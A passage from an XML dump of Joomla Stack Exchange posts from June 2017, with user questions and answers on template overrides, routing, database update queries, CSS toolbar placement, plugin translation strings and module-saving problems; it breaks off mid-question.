  <row Id="20939" PostTypeId="2" ParentId="17327" CreationDate="2017-06-05T21:18:00.527" Score="0" Body="&lt;p&gt;You should be able to override the admin views of different components you want different default upload folders for. E.g. to override the contacts admin view: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;copy /administrator/components/com_contacts/views/contact/tmpl/edit.php&lt;/li&gt;&#xA;&lt;li&gt;to administrator/templates/youradmintpl/html/com_contact/contact/edit.php&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Modify the copy of edit.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;// Add this line: &lt;/p&gt;&#xA;&#xA;form-&gt;setFieldAttribute('image', 'directory', 'newtoys/'); ?&gt;&#xA;// before this: &#xA;form-&gt;renderField('image'); ?&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now, when you click the image upload button, it will start inn the newtoys folder.&lt;/p&gt;&#xA;" OwnerUserId="360" LastActivityDate="2017-06-05T21:18:00.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20940" PostTypeId="2" ParentId="19514" CreationDate="2017-06-06T00:00:59.790" Score="0" Body="&lt;p&gt;Just a thought, are you using a SEF component such as Joomsef or SH404SEF? If so, this may need updating and reconfiguring to match the previous URL pattern?&lt;/p&gt;&#xA;" OwnerUserId="7973" LastActivityDate="2017-06-06T00:00:59.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20941" PostTypeId="2" ParentId="20909" CreationDate="2017-06-06T00:40:24.413" Score="1" Body="&lt;p&gt;Do you have the Joomla Cache enabled? If so go to System &gt; Clear cache. Select all then hit 'Delete All'.&lt;/p&gt;&#xA;" OwnerUserId="7973" LastActivityDate="2017-06-06T00:40:24.413" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20942" PostTypeId="2" ParentId="19417" CreationDate="2017-06-06T07:50:16.783" Score="1" Body="&lt;p&gt;You should be able to do this using SP Upgrade It states on the extensions page that it supports community builder.&#xA;&lt;a href=&quot;https://www.kainotomo.com/products/sp-upgrade&quot; rel=&quot;nofollow noreferrer&quot;&gt;SP Upgrade&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7973" LastActivityDate="2017-06-06T07:50:16.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20943" PostTypeId="2" ParentId="20911" CreationDate="2017-06-06T18:23:01.710" Score="0" Body="&lt;p&gt;You can also just retrieve specific content with a selector, like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$( &quot;#ajax-result&quot; ).load( &quot;index.php #container&quot; );&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://api.jquery.com/load/&quot; rel=&quot;nofollow noreferrer&quot;&gt;according to here&lt;/a&gt;, same for ajax (I think)&lt;/p&gt;&#xA;" OwnerUserId="3567" LastActivityDate="2017-06-06T18:23:01.710" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20944" PostTypeId="2" ParentId="20688" CreationDate="2017-06-06T21:07:08.223" Score="1" Body="&lt;p&gt;This problem happens when you are using PHP 7 and IE 8 as a browser (or less). See &lt;a href=&quot;http://www.itoctopus.com/jhtmlbehavior-polyfill-not-found-fatal-error-on-joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;this post&lt;/a&gt; for more details. Switch to another browser to resolve this issue. Joomla will likely release a fix to the problem soon.&lt;/p&gt;&#xA;" OwnerUserId="7867" LastEditorUserId="7867" LastEditDate="2017-06-06T22:16:02.323" LastActivityDate="2017-06-06T22:16:02.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20946" PostTypeId="1" AcceptedAnswerId="20951" CreationDate="2017-06-07T01:14:50.243" Score="0" ViewCount="90" Body="&lt;p&gt;I'd like to be able to give each article an additional attribute. Not sure if I can use the columns that exist in #_content. I'm concerned any modifications I do will be overwritten or cause errors. Is there an existing column in the table that I can use?&lt;/p&gt;&#xA;" OwnerUserId="9332" LastEditorUserId="9332" LastEditDate="2017-06-07T12:05:42.590" LastActivityDate="2017-06-07T13:26:21.423" Title="Can I insert custom attribute information into the MySQL content table?" Tags="|mysql|content|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20948" PostTypeId="2" ParentId="20872" CreationDate="2017-06-07T07:46:01.507" Score="0" Body="&lt;p&gt;here is a very comprehensive solution&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/GHSVS-de/GHSVSThings/blob/master/relaterquatch/plugintag-mit-Optionen.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/GHSVS-de/GHSVSThings/blob/master/relaterquatch/plugintag-mit-Optionen.php&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it explodes all values&lt;/p&gt;&#xA;" OwnerUserId="8554" LastActivityDate="2017-06-07T07:46:01.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20949" PostTypeId="1" CreationDate="2017-06-07T12:12:32.020" Score="0" ViewCount="188" Body="&lt;p&gt;there is a helper coded:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;JRoute::_(ContentHelperRoute::getCategoryRoute($item-&gt;id, $item-&gt;language))&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It does precisely what I want it to do, but I need the same functionality for the &quot;Featured&quot; View...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideas?&lt;/p&gt;&#xA;" OwnerUserId="9907" LastActivityDate="2017-09-05T15:08:16.630" Title="Extend the JRoute API?" Tags="|joomla-api|router|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20950" PostTypeId="2" ParentId="20949" CreationDate="2017-06-07T13:13:25.510" Score="1" Body="&lt;p&gt;&lt;code&gt;getCategoryRoute&lt;/code&gt; basically justs returns a URL in the following format&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;index.php?option=com_content&amp;amp;view=category&amp;amp;id=[ID PARAMETER]&amp;amp;lang=[LANGUAGE PAREMETER]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's not a particularly complicated function - the entirity is as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($catid instanceof JCategoryNode)&#xA;        {&#xA;            $id = $catid-&amp;gt;id;&#xA;        }&#xA;        else&#xA;        {&#xA;            $id = (int) $catid;&#xA;        }&#xA;        if ($id &amp;lt; 1)&#xA;        {&#xA;            $link = '';&#xA;        }&#xA;        else&#xA;        {&#xA;            $link = 'index.php?option=com_content&amp;amp;view=category&amp;amp;id=' . $id;&#xA;            if ($language &amp;amp;&amp;amp; $language !== '*' &amp;amp;&amp;amp; JLanguageMultilang::isEnabled())&#xA;            {&#xA;                $link .= '&amp;amp;lang=' . $language;&#xA;            }&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This has nothing really to do with JRoute, to which you can pass any paramaterised URL you want to run through a router to get a clean URL.  &lt;code&gt;getCategoryRoute&lt;/code&gt; simply returns a parameterisd URL that works with com_content's category view.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not clear what you mean by &quot;the same functionality&quot;, as com_content's featured view does not work in the same way as the category view.  With the featured view, categories are assigned as part of the menu item, and saved in the database as a menu item parameter, as opposed to being sent via URL parameters. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you just want to create a link to the featured view using JRoute then the following should work (this will be all categories, though):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JRoute::_(&quot;index.php?option=com_content&amp;amp;view=featured&amp;amp;lang=[language]&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the featured item is a menu item (with categories optionally assigned), then the following would also work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JRoute::_(&quot;index.php?Itemid=MENUID&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1622" LastEditorUserId="1622" LastEditDate="2017-06-07T13:20:06.183" LastActivityDate="2017-06-07T13:20:06.183" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20951" PostTypeId="2" ParentId="20946" CreationDate="2017-06-07T13:26:21.423" Score="1" Body="&lt;p&gt;This sounds exactly what the new custom fields (com_fields) are for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Content &gt; fields)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If these don't work for you, can you expand your question to explain what you are trying to do differently. &lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2017-06-07T13:26:21.423" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20952" PostTypeId="1" CreationDate="2017-06-07T17:10:50.983" Score="1" ViewCount="57" Body="&lt;p&gt;Is there any way to see if a path will route to a component preferably without dispatching it?  I can't use CURL or get_headers to see if the status is 200.  In other frameworks you can tap into the route definitions.  Is there something like that within Joomla? For example, inside a plugin/component/module if I want to check if '/some/url/here/' is a valid path.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$isPathRouteable = JSomeRouteClass::isPathRouteable('/some/path/here/');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$routeInfo = JSomeRouteClass::getPathInfo('/some/path/here/');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and have it return a boolean or route information.&lt;/p&gt;&#xA;" OwnerUserId="8880" LastActivityDate="2017-06-07T17:10:50.983" Title="How to check if Joomla path is routable" Tags="|joomla-3.x|jroute|router|" AnswerCount="0" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20954" PostTypeId="1" AcceptedAnswerId="20956" CreationDate="2017-06-08T10:23:24.153" Score="0" ViewCount="114" Body="&lt;p&gt;I am trying to update the database with the original column's value plus (+1) or minus (-1)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$column_name = 'mycolumnname';&#xA;$table_name - 'mytablename';&#xA;&#xA;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$fields = array($db-&amp;gt;quoteName($column_name) . ' = ' . $db-&amp;gt;quote($column_name +1));&#xA;$query-&amp;gt;update($db-&amp;gt;quoteName($table_name))-&amp;gt;set($fields);&#xA;$db-&amp;gt;setQuery($query);&#xA;$result = $db-&amp;gt;execute();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If i run this it will always set the column value to 1.&#xA;What am i doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="7457" LastEditorUserId="7457" LastEditDate="2017-06-08T10:34:13.610" LastActivityDate="2017-06-08T12:33:30.617" Title="JDatabase Update +1" Tags="|jdatabase|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20955" PostTypeId="1" CreationDate="2017-06-08T12:05:51.027" Score="1" ViewCount="86" Body="&lt;p&gt;I have already copied the &lt;code&gt;renderfield.php&lt;/code&gt; and &lt;code&gt;renderlabel.php&lt;/code&gt; files from &lt;code&gt;~/layouts/joomla/form/&lt;/code&gt; to &lt;code&gt;~/modules/mod_mymodule/layouts/joomla/form&lt;/code&gt; but the overrides don't seem to be recognised.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have taken info from &lt;a href=&quot;https://docs.joomla.org/J3.x:Sharing_layouts_across_views_or_extensions_with_JLayout&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;, but what am I missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried switching my template (latest Helix3 template) to Protostar, but the issue persists.&lt;/p&gt;&#xA;" OwnerUserId="1803" LastActivityDate="2017-07-09T11:19:22.707" Title="Overriding layouts from your module" Tags="|overrides|joomla-3.6|form|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20956" PostTypeId="2" ParentId="20954" CreationDate="2017-06-08T12:33:30.617" Score="0" Body="&lt;p&gt;Try &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db-&amp;gt;quoteName($column_name) . ' = ' . $db-&amp;gt;quoteName($column_name).'+ 1'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;instead of &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db-&amp;gt;quoteName($column_name) . ' = ' . $db-&amp;gt;quote($column_name +1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you echo &lt;code&gt;$query&lt;/code&gt; you will see the MySQL command it is going to execute. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE `mycolumnname` SET `mycolumnname` = `mycolumnname`+ 1 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Adding a number to a string casts it as a number, hence it returns 1 when you generate the query using &lt;code&gt;$db-&amp;gt;quote($column_name +1));&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2017-06-08T12:33:30.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20958" PostTypeId="2" ParentId="18307" CreationDate="2017-06-08T18:15:43.517" Score="3" Body="&lt;p&gt;You are calling the colResizable jQuery plugin before the jQuery itself.  It should be the other way round.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, Joomla's admin should also already have jQuery loaded, but that uses jQuery v1.12.4.  The two JQuerys could be causing conflicts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Couple of things to try:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Open your console (F12) and reload the page - does it give any js error messages?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;View the source and click on the javascript links - make sure they are loading, that they are loading in the right order and not going to a 404.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2017-06-08T18:15:43.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20959" PostTypeId="1" CreationDate="2017-06-08T18:16:58.930" Score="1" ViewCount="669" Body="&lt;p&gt;I have a different products organized in Excel file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every column means something - Title, Description, Weight, Price and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I import them in Joomla in such a way, that every row is a new article?&lt;/p&gt;&#xA;" OwnerUserId="8127" LastActivityDate="2019-12-05T07:22:27.717" Title="Import Excel table rows as articles" Tags="|articles|database|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20960" PostTypeId="2" ParentId="20888" CreationDate="2017-06-08T18:47:41.483" Score="0" Body="&lt;p&gt;Here is a solution that puts the buttons top-left of screen and makes them stay there (&lt;em&gt;floating position&lt;/em&gt;).&lt;br&gt;&#xA;No override, just some CSS lines in &lt;em&gt;my-copy-of-protostar/css/user.css&lt;/em&gt; :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.form-validate &amp;gt; .btn-toolbar:not(.pull-left) { &#xA;    position: fixed;&#xA;    top: 14px;&#xA;    left: 6px;&#xA;    background-color: antiquewhite;&#xA;    border-style: solid;&#xA;    border-color: antiquewhite;&#xA;    border-radius: 15px;&#xA;    padding: 3px;&#xA;    z-index: 1500;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;form-validate&lt;/em&gt; is the div that contains the editor area.&lt;br&gt;&#xA;There are 2 buttons bar (&lt;em&gt;btn-toolbar&lt;/em&gt;) in that area. Only one is pulled to the left, the extension buttons bar (which permit to insert a Read More link, a Page Break etc.). The other one contains the Save, Cancel &amp;amp; Versions buttons that I want to pull top left as a float.&lt;br&gt;&#xA;&lt;em&gt;z-index&lt;/em&gt; is here for the buttons to stay over other stuff I have in the header.&lt;br&gt;&#xA;This can be interpreted as : concerning the class &lt;em&gt;btn-toolbar&lt;/em&gt;, when embedded in a class &lt;em&gt;form-validate&lt;/em&gt; and not in a class &lt;em&gt;pull-left&lt;/em&gt; do what is in the {}.&lt;br&gt;&#xA;Thanks to sozzled and Richard B.&lt;/p&gt;&#xA;" OwnerUserId="5691" LastEditorUserId="5691" LastEditDate="2017-06-08T20:22:05.420" LastActivityDate="2017-06-08T20:22:05.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20961" PostTypeId="1" CreationDate="2017-06-09T02:30:12.493" Score="6" ViewCount="1357" Body="&lt;p&gt;I am looking for some information about how to create a custom field type for Joomla 3.7 core custom fields.&lt;/p&gt;&#xA;&lt;p&gt;Can anyone point me in the direction of a tutorial, an example of anything that may help with the process? I couldn't find official documentation on that.&lt;/p&gt;&#xA;&lt;p&gt;Please note I am not talking about adding the field to an article, I am talking about creating a new type of field that can be selected from the custom fields component.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;I figured it is just a plugin, so I went to copy a core existing one to then expand on that.&lt;/p&gt;&#xA;&lt;p&gt;However I copied the imagelist, renamed it all to newimagelist, installed all without problem. Created a new field, went into an article, but the newly created field which is just a copy doesn't behave same way. The list dropdown doesn't work. Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="9339" LastEditorUserId="12352" LastEditDate="2020-08-10T07:36:55.727" LastActivityDate="2020-08-10T07:36:55.727" Title="Joomla Custom field type - How to create one" Tags="|custom-field|joomla-3.7|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20962" PostTypeId="2" ParentId="20955" CreationDate="2017-06-09T09:48:04.657" Score="1" Body="&lt;p&gt;If you want to override anything from your template the override needs to be in the templates &lt;code&gt;/html&lt;/code&gt; directory. In this case your override should be at: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;YOUR_TEMPLATE/html/layouts/joomla/form/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="296" LastActivityDate="2017-06-09T09:48:04.657" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20963" PostTypeId="2" ParentId="20959" CreationDate="2017-06-09T09:57:32.907" Score="2" Body="&lt;p&gt;You can use &lt;a href=&quot;https://extensions.joomla.org/extensions/extension/migration-a-conversion/data-import-a-export/content-uploader-pro/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Content Uploader Pro&lt;/a&gt; (or its free version).&lt;/p&gt;&#xA;" OwnerUserId="8525" LastEditorUserId="12352" LastEditDate="2019-12-05T07:22:27.717" LastActivityDate="2019-12-05T07:22:27.717" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20964" PostTypeId="1" AcceptedAnswerId="20966" CreationDate="2017-06-09T10:43:58.527" Score="0" ViewCount="280" Body="&lt;p&gt;I have a system plugin that will let a user set and display some custom messages to users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As those messages are not available in a language file (are not static strings) how can I be able to allow the user to have those custom messages translated?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="2087" LastActivityDate="2017-06-09T16:15:07.413" Title="Translate custom messages" Tags="|joomla-3.x|plugin|translation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20966" PostTypeId="2" ParentId="20964" CreationDate="2017-06-09T16:15:07.413" Score="1" Body="&lt;p&gt;I might have misread the question, I provide you two answers with each interpretation I guessed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;** 1 if the strings are dynamic**&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So first of all, name and use your language constants in the plugin: you might want to include placeholders. So imagine you have something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo &quot;something &quot;.$somevar.&quot; somethingelse&amp;lt;br&amp;gt;&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you will create a constant string with placeholders:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MY_PLUGIN_SOMETHING=&quot;something &quot;.$somevar.&quot; somethingelse&amp;lt;br&amp;gt;&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then the command would become:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;printf(JText::_(&quot;MY_PLUGIN_SOMETHING&quot;), $somevar);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now we need to decide where to put the translations.&#xA;Joomla has an awesome feature (language overrides) that will allow you to do the customization. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But what about English? Two options come to mind:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Option 1. Use JLanguage&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;add the ./plugins/system/myplugin/language/fr-FR/&#xA;and load it explicitly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$language = JFactory::getLanguage();&#xA;// load the default language&#xA;$language-&amp;gt;load('myplugin', JPATH_BASE . &quot;/plugins/system/myplugin&quot;, 'en-GB', false, false);&#xA;// load your translations (if you provide them), if the third param is null the localized version is loaded:&#xA;$language-&amp;gt;load('myplugin', JPATH_BASE . &quot;/plugins/system/myplugin&quot;, null, false, false);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the best way to go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Option 2: Populate the overrides in the installer&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the post flight install method you can write your default english strings to the english language override.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: updates may be nightmare-ish. Also, you run the risk of a user adding the placeholders wrong and breaking the whole extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;**Conclusion on dynamic strings **&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both methods work, the first is a bit more solid. In any case, if you have strings with placeholders, you should write your code so it's resilient to placeholder problems, for example wrap it in a &lt;code&gt;try..catch&lt;/code&gt; and return a default hardcoded message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;** 2 if the strings are customized by an admin **&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no standard here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first thing that comes to mind, is create a language constant such as &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MYPLUGIN_001=&quot;&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then add buttons / iframes where you'll load the language override feature asking the user to insert any and all translations available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another option would be to create your custom field type, which will provide a dynamic grid where users can add many lines with language-translation. You can save the field using json it's not too hard. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would choose this last option.&lt;/p&gt;&#xA;" OwnerUserId="377" LastActivityDate="2017-06-09T16:15:07.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20967" PostTypeId="1" CreationDate="2017-06-11T02:47:44.103" Score="3" ViewCount="3933" Body="&lt;p&gt;I'm using Joomla 3.7.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not able to save any changes to my current modules or create new modules. I only make edits to my site in the administrator backend (siteurl.com/administrator).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Save and Save&amp;amp;Close both do not work with my site's modules anymore. Specifically, opening a module and clicking Save or Save&amp;amp;Close checks-in the module without making any edits. I also cannot make new modules or check-in modules from the list of modules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What I &lt;em&gt;can&lt;/em&gt; do&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the listing of all modules, I can open(edit), duplicate, publish, unpublish, and delete modules. If a module is checked-in, I can check it out by clicking on the lock.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I am not able to save any changes I make to modules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is quite strange because I am able to save changes to all other areas of my site (settings, users, menus, articles, categories, components). It is only modules that has an issue.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What I have tried (in no particular order)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried restoring previous backups of my site (from when I was able to edit modules). Specifically, overwriting existing files and directories in my public_html root using Filezilla and then restoring the database backup in phpMyAdmin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have checked all global configuration settings, including settings for the Modules component. &lt;strong&gt;Administrators&lt;/strong&gt; and &lt;strong&gt;Superusers&lt;/strong&gt; are both allowed to configure ACL &amp;amp; options, Access Administration Interface, Create, Delete, Edit, and Edit State for Modules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have checked user group access levels. The account I am using belongs to the &lt;strong&gt;administrator&lt;/strong&gt; and &lt;strong&gt;superuser&lt;/strong&gt; groups. I have tried creating new administrator/superuser accounts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried clearing Joomla's cache and expired cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried clearing my browser's cache (I am always in Incognito mode so I simply close my browser and start a new Incognito session).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried both Chrome and Firefox (latest versions).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried &lt;strong&gt;Fix&lt;/strong&gt; on the Joomla database (Joomla backend-&gt;Extensions-&gt;Database-&gt;Fix).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have downloaded the full stable release of Joomla 3.7.2 and overwritten Joomla's core files through Filezilla.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Recently, I have been having issues with two extensions (Joomfuse and Advanced Module Manager).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomfuse &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried disabling those extensions in combination with the above things I have tried.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried uninstalling those extensions in combination with the above things I have tried.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried reinstalling those extensions in combination with the above things I have tried.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Besides those changes, the only other change has been the installation (and removal) of Akeeba Backup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have contacted Joomfuse and Advanced Module Manager's support. While both teams are very helpful and responsive, so far, they have not had any success in helping resolve this issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it makes any difference, our site &lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If anyone has any insights or possible suggestions as to what may be the issue, that would be much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am a recently graduated college student (undergraduate computer science minor) and feel very in over my head. None of my coursework covered websites. I have only had an introduction to data structures, software engineering, and program design. Over the past few months, I have learned about Joomla, Wordpress, and website administration through Google and trial-and-error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any guidance that may be provided.&lt;/p&gt;&#xA;" OwnerUserId="11181" LastActivityDate="2019-03-25T20:01:04.003" Title="Can't save or save &amp; close any modules" Tags="|joomla-3.x|module|module-manager|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20968" PostTypeId="1" CreationDate="2017-06-11T03:16:57.100" Score="2" ViewCount="120" Body="&lt;p&gt;I'm unable to update from 3.6.0 to higher version - I get blank screen when I press update button or when I manually upload the file and try to update from downloaded zip file. Any suggestions?&lt;/p&gt;&#xA;" OwnerUserId="11182" LastActivityDate="2017-08-10T10:00:57.203" Title="Unable to update joomla 3.6.0 to any higher - blank screen after press update" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20969" PostTypeId="1" AcceptedAnswerId="20992" CreationDate="2017-06-11T04:24:31.427" Score="1" ViewCount="125" Body="&lt;p&gt;I own a website called &lt;a href=&quot;http://elitemaths.com.au/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://elitemaths.com.au/&lt;/a&gt;. Currently, the main page modules seem to be working fine on a desktop browser with &quot;maths is hard...&quot; div as well as the &quot;Fulfill your...&quot;. I have attached a screenshot of this.&lt;a href=&quot;https://i.stack.imgur.com/uekqm.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uekqm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I load the same page on my iphone 6, these divs are not working properly. The following is what I see on my phone. &lt;a href=&quot;https://i.stack.imgur.com/M8GVO.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/M8GVO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Being fairly new to Joomla and html, I have no idea where would I go and try to sort this. I have had a look at the template.css file in the &#xA; &quot;/public_html/templates/elitemaths/local/css/themes/elitemaths&quot; directory but cannot find where this module sits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could anyone 